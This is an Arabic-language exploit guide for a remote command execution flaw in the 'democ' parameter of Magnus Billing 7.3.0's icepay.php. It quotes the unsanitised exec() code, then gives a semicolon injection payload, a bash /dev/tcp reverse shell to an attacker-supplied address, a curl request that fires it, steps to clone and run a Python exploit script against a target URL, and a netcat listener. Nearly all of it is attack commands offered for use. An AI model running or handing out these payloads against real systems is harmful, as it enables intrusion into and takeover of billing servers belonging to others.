
ثغرة تنفيذ كود عن بُعد في مورد PHP الخاص بـ Magnus Billing
توجد ثغرة تنفيذ أوامر عن بُعد في magnus billing 7.3.0، في المعامل "democ" من المورد "icepay.php"، حيث يمكنك تجاوز الاستعلام وتنفيذ الأمر الذي تريده.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
يتم تمرير المعامل "democ" إلى exec() لإنشاء ملف جديد، ولكن كما ترى لا يوجد أي تعقيم للنصوص، ويمكن للمهاجم بسهولة تجاوز أمر touch وتنفيذ أمر أو حتى الحصول على قشرة عكسية. لتجاوز امتداد txt، يمكننا فقط إضافة ";" أخرى في نهاية السلسلة. ستبدو الحمولة النهائية هكذا:
testfile;<command>;testfile
وهكذا سيبدو عند تمريره إلى دالة exec():
exec('touch testfile;<command>;testfile.txt');
مثال على قشرة عكسية:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
يمكننا استخدام curl للحصول على قشرة عكسية، مثال:
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
أو إذا كنت تفضل، يمكنك استخدام سكربت بايثون من هذا المستودع. التثبيت:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
الاستخدام:
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
وأخيرًا وليس آخرًا، تذكر أن تبدأ مستمعًا (listener) باستخدام netcat:
nc -nlvvp <local_port>